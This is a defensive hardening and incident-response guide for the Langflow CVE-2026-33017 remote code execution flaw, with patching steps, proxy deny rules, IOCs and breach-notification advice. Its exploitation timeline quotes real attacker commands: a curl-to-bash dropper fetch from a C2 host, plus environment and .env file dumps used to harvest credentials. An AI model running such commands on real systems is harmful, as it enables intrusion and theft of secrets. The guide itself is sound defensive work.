Langflow CVE-2026-33017: RCE Hardening Guide

CVE-2026-33017 is an unauthenticated remote code execution vulnerability in Langflow that allows attackers to run arbitrary Python code on any exposed instance using a single HTTP POST request. It carries a CVSS score of 9.8 (Critical), was added to CISA’s Known Exploited Vulnerabilities catalog on March 25, 2026, and saw its first active exploitation within 20 hours of the advisory being published — before any public proof-of-concept code existed.

If you run Langflow in any environment, this is not a scheduled-maintenance vulnerability. The patch window has already closed for most organizations. Attackers are already scanning for exposed instances, and the post-exploitation playbook they are running targets exactly the kind of credentials Langflow deployments hold: OpenAI API keys, Anthropic API keys, database connection strings, AWS credentials, and anything else stored in your application’s environment variables. This guide gives you the steps to patch correctly (version 1.8.2 does not fix this — more on that below), restrict the attack surface while you wait for a stable release, and detect exploitation attempts that may have already happened.

What the Vulnerability Actually Does

Langflow is an open-source visual framework for building AI agents and Retrieval-Augmented Generation (RAG) pipelines. At publication time it had 145,000+ GitHub stars. The vulnerability lives in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which exists to let unauthenticated users build and execute public flows.

The design intent is reasonable: public flows are meant to be accessible without a login. The implementation flaw is that the endpoint accepts attacker-supplied flow data containing arbitrary Python code inside node definitions, which the server then executes without sandboxing. There is no authentication check. There is no code validation. One HTTP request with a JSON body is all that is required.

The NVD description captures the root cause precisely: “The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.”

This is distinct from CVE-2025-3248, an earlier Langflow RCE that targeted the /api/v1/validate/code endpoint and was fixed in version 1.3.0 by adding authentication to that route. CVE-2026-33017 bypasses that fix entirely by hitting a different unauthenticated endpoint.

Why Version 1.8.2 Does Not Fix This

On March 26, 2026, JFrog Security Research published findings that should concern every Langflow operator who has already “patched.” Version 1.8.2 is currently the latest official release. Release notes explicitly mention a fix for the RCE. The National Vulnerability Database listed 1.8.2 as the patched version. The GitHub advisory system showed 1.8.2 as containing the fix.

JFrog’s researchers ran the public PoC against both the PyPI package and the official Docker image for version 1.8.2. Remote code execution succeeded on both. The vulnerability is not fixed in 1.8.2. JFrog confirmed this directly with the Langflow maintainers, who acknowledged that version 1.9.0 is the correct patched version and updated the advisory accordingly.

The practical consequence: if your team saw “patched in 1.8.2,” upgraded, and moved on, your instances remain vulnerable. This is not a hypothetical risk. Automated scanners were hitting exposed Langflow instances within 20 hours of the original advisory. Any publicly reachable 1.8.2 deployment that has been live since mid-March 2026 should be treated as potentially compromised.

The 20-Hour Exploitation Timeline

The Sysdig Threat Research Team deployed honeypot Langflow instances across multiple cloud providers and regions within hours of the March 17, 2026 advisory publication. What followed was four distinct exploitation waves, documented in detail by Sysdig’s researchers.

The first exploitation attempt arrived at 16:04 UTC on March 18, approximately 20 hours after the advisory. No public PoC existed at that point. The advisory text alone, which included the vulnerable endpoint path and the code injection mechanism, was sufficient for attackers to construct a working exploit.

Sysdig identified three distinct attacker phases:

Automated scanning (hours 20-21): Four source IPs from AEZA GROUP, DigitalOcean, and PUSHPKT OU arrived within minutes of each other, all running identical payloads consistent with a privately authored Nuclei template. Each request included the header Cookie: client_id=nuclei-scanner and created a flow named nuclei-cve-2026-33017. The payload executed id, base64-encoded the output, and exfiltrated it to an interactsh callback server.

Custom exploit scripts (hours 21-24): A second attacker class appeared using Python requests directly. One operator from 83.98.164.238 ran a methodical kill chain: directory listing, system fingerprinting, then a stage-2 dropper delivery attempt via bash -c "$(curl -fsSL http://173.212.205.251:8443/z)". Pre-staged infrastructure was already in place before the attack began.

Credential harvesting (hours 24-30): The most advanced activity came from 173.212.205.251, which executed env to dump the full process environment, ran find /app -name "*.db" -o -name "*.env" to locate configuration files, and extracted the contents of discovered .env files. Exfiltrated data included database connection strings, API keys, and cloud credentials. The overlap in C2 infrastructure (143.110.183.86:8080 appeared in multiple attacker sessions) suggests a single operator working through multiple VPS nodes.

Step-by-Step Hardening Guide

Work through these steps in order. Steps 1 through 3 are mandatory before you do anything else.

Step 1: Check Your Actual Version

Do not rely on release notes or external advisories to determine your patch status. Verify the installed version directly:

pip show langflow | grep Version
# or for Docker
docker inspect langflowai/langflow:latest --format "{{index .Config.Labels \"org.opencontainers.image.version\"}}"

If the output shows any version below 1.9.0, treat the instance as unpatched. If version 1.9.0 is not yet available as a stable release in your package manager, install from nightly (JFrog confirmed that langflow-nightly 1.9.0.dev18 and later are not exploitable with the public PoC):

pip uninstall langflow
pip install langflow-nightly

Step 2: Block or Restrict the Vulnerable Endpoint

While you prepare the upgrade, block the vulnerable endpoint at your reverse proxy or API gateway. The endpoint is /api/v1/build_public_tmp. If you do not use public flows, block it entirely. If you do use public flows, restrict it to known IP ranges.

For nginx:

location /api/v1/build_public_tmp {
    deny all;
    return 403;
}

For Apache:

<Location "/api/v1/build_public_tmp">
    Require all denied
</Location>

For AWS API Gateway, add a resource policy that denies all access to that path from external sources and deploy a WAF rule blocking requests matching the path pattern.

Step 3: Rotate Exposed Credentials Immediately

Any Langflow instance that was publicly reachable between March 17 and today should have its credentials rotated as a precaution, regardless of whether you have confirmed exploitation. The post-exploitation playbook specifically targets environment variables. Rotate in this order:

OpenAI and Anthropic API keys first (these are the most immediately monetizable). Then database credentials (PostgreSQL, MySQL, MongoDB connection strings). Then cloud provider credentials (AWS IAM keys, GCP service account keys, Azure service principal secrets). Then any CI/CD or pipeline tokens stored in the environment.

Step 4: Harden the Deployment Architecture

Langflow should not be directly internet-facing. The build_public_tmp endpoint is designed for legitimate use cases where anonymous users need to run public flows, but that use case does not require the service to be reachable from the entire internet. Place Langflow behind an authenticated reverse proxy, even for public flow use cases. Require at minimum an API key or bearer token at the proxy level before requests reach the Langflow application.

For containerized deployments, enforce a read-only filesystem and explicitly define environment variable scope. Do not mount broad IAM roles or service account credentials into the container. Use workload identity where your cloud platform supports it, and limit the blast radius by scoping credentials to the minimum permissions Langflow actually needs.

docker run --read-only \
  --tmpfs /tmp \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  -e LANGFLOW_DATABASE_URL="postgresql://user:pass@db/langflow" \
  langflowai/langflow-nightly:latest

Step 5: Implement Network Segmentation

Langflow instances should communicate only with the specific services they need: the database, the LLM API endpoints (OpenAI, Anthropic, etc.), and your internal tooling. Block all outbound traffic that does not match known-good destinations. This does not prevent the initial exploitation, but it stops exfiltration to attacker C2 infrastructure, which is what Sysdig observed in Phase 3 of the attack chain.

The Sysdig report documented exfiltration to 143.110.183.86:8080 and dropper retrieval from 173.212.205.251:8443. An egress firewall rule that blocks all outbound connections except ports 443 (HTTPS to known API endpoints) and your database port would have contained both.

Verifying the Patch Is Actually Applied

Given the confusion around version 1.8.2, patch verification is not optional. After upgrading, confirm the fix is in place by checking the commit history or by running a controlled test against the endpoint in a non-production environment only.

The safest verification method is code-level: after upgrading to 1.9.0 or a confirmed nightly build, inspect the build_public_tmp endpoint handler for input validation. The fix should reject user-supplied Python code in node definitions rather than executing it. If you are using Docker, pull and inspect the image layers to confirm the expected commit hash is present.

You can also check the advisory directly. The Langflow GitHub security advisory GHSA-vwmf-pq79-vjvx now correctly states that 1.9.0 is the patched version after JFrog’s disclosure. Cross-reference your installed version against this advisory rather than against the NVD entry, which initially reflected incorrect information.

# Verify installed langflow-nightly commit
pip show langflow-nightly | grep -E "Version|Location"
# Then inspect the source at the reported location for the build_public_tmp handler

Detection Rules and IOCs

If you have runtime security tooling in place, the following detection patterns cover the observed exploitation behavior. These rules fire on the behavior, not on CVE signatures, so they cover both CVE-2026-33017 and CVE-2025-3248 exploitation patterns.

Falco Rules (from Sysdig TRT)

Confirmed IOCs (as of March 2026)

Attacker source IPs:

• 77.110.106.154 (DE, AEZA GROUP LLC) — nuclei scanning
• 209.97.165.247 (SG, DigitalOcean) — nuclei scanning
• 188.166.209.86 (SG, DigitalOcean) — nuclei scanning
• 205.237.106.117 (FR, PUSHPKT OU) — nuclei scanning
• 83.98.164.238 (NL, Accenture B.V.) — custom exploit, stage-2 dropper delivery
• 173.212.205.251 (FR, Contabo GmbH) — credential harvesting, dropper host

C2 infrastructure:

• 143.110.183.86:8080 (IN, DigitalOcean) — receives base64-encoded exfiltration
• 173.212.205.251:8443 (FR, Contabo GmbH) — serves stage-2 payload at /z

HTTP header pattern: Cookie: client_id=nuclei-scanner in exploitation requests. Flow name pattern: nuclei-cve-2026-33017 in pre-exploitation flow creation requests. Interactsh callback subdomains matching *.oast.live, *.oast.me, *.oast.pro, and *.oast.fun.

Source IPs are likely proxies or rented VPS nodes rather than the operator’s true origin. Block them in your WAF and network egress rules, but do not treat their absence from your logs as confirmation that you were not targeted.

AI Agent Security Hardening Checklist

CVE-2026-33017 is specific to Langflow, but the attack surface it exposes is common across the category of tools that build, orchestrate, and execute AI agent workflows. If you run any of the following in a networked environment, the same hardening principles apply: n8n, Flowise, CrewAI server deployments, AutoGen servers, or any LLM orchestration framework with a REST API.

No direct internet exposure. Every AI workflow tool should sit behind an authenticated reverse proxy, even if the tool itself has authentication enabled. Defense in depth matters here because these tools have a historical pattern of authentication bypasses.

Least-privilege credentials. The API keys and cloud credentials your workflow tool needs are not the same as the ones your entire cloud account holds. Create dedicated service accounts with only the permissions the tool requires. A Langflow instance that builds and runs OpenAI flows does not need an IAM key with S3 write access.

Egress filtering. Your AI agent should reach the LLM API, your database, and nothing else. Broad outbound access turns a code injection vulnerability into a full lateral movement path.

Secret scanning on environment variables. Before deployment, scan your Kubernetes secrets, Docker Compose env files, and .env files for credentials that should be in a secrets manager instead. HashiCorp Vault, AWS Secrets Manager, and GCP Secret Manager all support runtime secret injection without storing credentials in environment variables.

Audit logs on API endpoints. Log every request to your AI orchestration tool’s API at the reverse proxy level. The Sysdig honeypot data shows that exploitation involves a pre-exploitation flow creation request followed by the exploitation request. That two-request sequence is detectable in access logs even without a WAF.

Patch cadence for ML/AI tooling. These tools iterate fast and have a worse-than-average historical vulnerability record. Subscribe to GitHub security advisories for every open-source AI tool in your stack. The gap between CVE-2025-3248 and CVE-2026-33017 in Langflow alone was less than 12 months.

What the CISA KEV Listing Means for Your Organisation

CISA added CVE-2026-33017 to the Known Exploited Vulnerabilities catalog on March 25, 2026, with a remediation deadline of April 8, 2026 for federal agencies. For non-federal organizations, the KEV listing is not legally binding, but it carries practical weight.

Insurance carriers and enterprise procurement security questionnaires increasingly reference the KEV catalog. If you are a UK organization handling personal data under the UK GDPR, a successful exploitation of this vulnerability that results in credential theft and unauthorized database access is likely a notifiable breach under Article 33. The 72-hour notification window to the ICO starts from when you become aware, which makes rapid detection capability a compliance requirement, not just a security best practice.

For organizations subject to the NIS2 Directive or Cyber Essentials Plus certification, active exploitation of a known-exploitable CVE that is in the KEV catalog and was not patched within the remediation window creates an evidence trail that auditors will examine. Documenting your response to this specific CVE, including the date you became aware, the date you patched, and the interim controls you put in place, is worth doing now.

The broader context matters here too. As covered in our AI Security in 2026 guide, AI workloads represent an expanding and often under-secured attack surface. Langflow is one tool in a category that most security teams have not yet built monitoring coverage for. The incident response playbook that works for web application vulnerabilities mostly transfers, but the credentials at risk (LLM API keys, vector database connections, cloud orchestration tokens) require additional specific response steps.

Post-Exploitation Response Steps

If you cannot rule out exploitation of your Langflow instance, run through the following in order.

First, isolate the instance from the network. Do not shut it down immediately; preserve the running process memory and filesystem state for forensic review. Take a snapshot of the container or VM before stopping it.

Second, extract and review application logs for the period from March 17 onward. Look for POST requests to /api/v1/build_public_tmp. Look for the nuclei-scanner cookie value and for flow names containing nuclei-cve-2026-33017. Look for outbound connections to the C2 IPs listed above, particularly 143.110.183.86 and 173.212.205.251.

Third, review your cloud provider’s audit trail. In AWS, check CloudTrail for API calls using the IAM credentials that were accessible in the Langflow environment. Look for calls from unexpected IP addresses or regions. In GCP, check Cloud Audit Logs. In Azure, review Entra ID sign-in logs and subscription activity logs.

Fourth, rotate all credentials that were accessible to the Langflow process. Do this even if you do not find evidence of exploitation. The absence of log evidence is not absence of compromise — it means absence of detected compromise.

For guidance on structuring the broader response process, the incident response planning guide for UK organisations covers the documentation and notification steps in detail.

If you are running Langflow in a cloud environment and need to understand the full scope of what credentials may have been exposed to the application, the cloud security guide covering AWS, Azure, and GCP has the specifics on how to scope a cloud credential audit across each platform.

Frequently Asked Questions

Is Langflow version 1.8.2 patched for CVE-2026-33017?

No. JFrog Security Research confirmed on March 26, 2026 that version 1.8.2 remains exploitable despite release notes claiming an RCE fix. The actual patched version is 1.9.0. Until 1.9.0 is available as a stable release, install langflow-nightly version 1.9.0.dev18 or later, which JFrog verified is not exploitable using the public PoC.

How do I check if my Langflow instance was already compromised?

Review server access logs for POST requests to /api/v1/build_public_tmp from March 17, 2026 onward. Check for HTTP headers containing Cookie: client_id=nuclei-scanner and for outbound connections to 143.110.183.86:8080 or 173.212.205.251:8443. Also review cloud provider audit logs for unexpected API calls using credentials that were stored in the Langflow environment. If you find any of these indicators, treat the instance as compromised and rotate all associated credentials.

Does blocking the build_public_tmp endpoint break Langflow functionality?

Only if you use public flows. The /api/v1/build_public_tmp endpoint exists specifically for unauthenticated users to build and run public flows. If your Langflow deployment is internal-only and does not serve public flows, blocking this endpoint has no functional impact. For deployments that require public flows, the recommended approach is to place the endpoint behind an IP allowlist or authenticated proxy rather than blocking it entirely.

What credentials should I rotate after potential exposure?

Rotate in this order: LLM API keys (OpenAI, Anthropic, Cohere), database credentials, cloud provider IAM keys or service account credentials, CI/CD pipeline tokens, and any third-party integration API keys stored in environment variables or .env files. Sysdig observed attackers specifically executing env to dump the full process environment, so any credential accessible to the Langflow process at runtime should be considered potentially compromised.

Are other AI workflow tools affected by the same vulnerability?

CVE-2026-33017 is specific to Langflow’s build_public_tmp endpoint. However, similar unauthenticated code execution patterns have appeared in other AI workflow tools. Flowise had an authentication bypass (CVE-2024-31621) that allowed unauthenticated API access. n8n has had several authenticated-but-exploitable RCE issues through custom code execution nodes. The attack surface is structural to this category of tools: they are designed to execute user-supplied code, which makes sanitization genuinely difficult. Review the security advisory feeds for every AI workflow tool in your stack.

What to Do Right Now

Three things, in order. Verify your Langflow version is actually 1.9.0 or a confirmed nightly build, not 1.8.2. Block /api/v1/build_public_tmp at the network level until you have confirmed the patch. Rotate any credentials that were in your Langflow environment if the instance has been publicly reachable since March 17, 2026.

If you need help scoping the exposure or building the right detection coverage for AI workloads in your environment, our AI security guide covers the monitoring architecture and the tooling options in detail. For organisations that have confirmed or suspected exploitation and need to work through the notification and response process, the incident response guide has the step-by-step structure for UK organisations.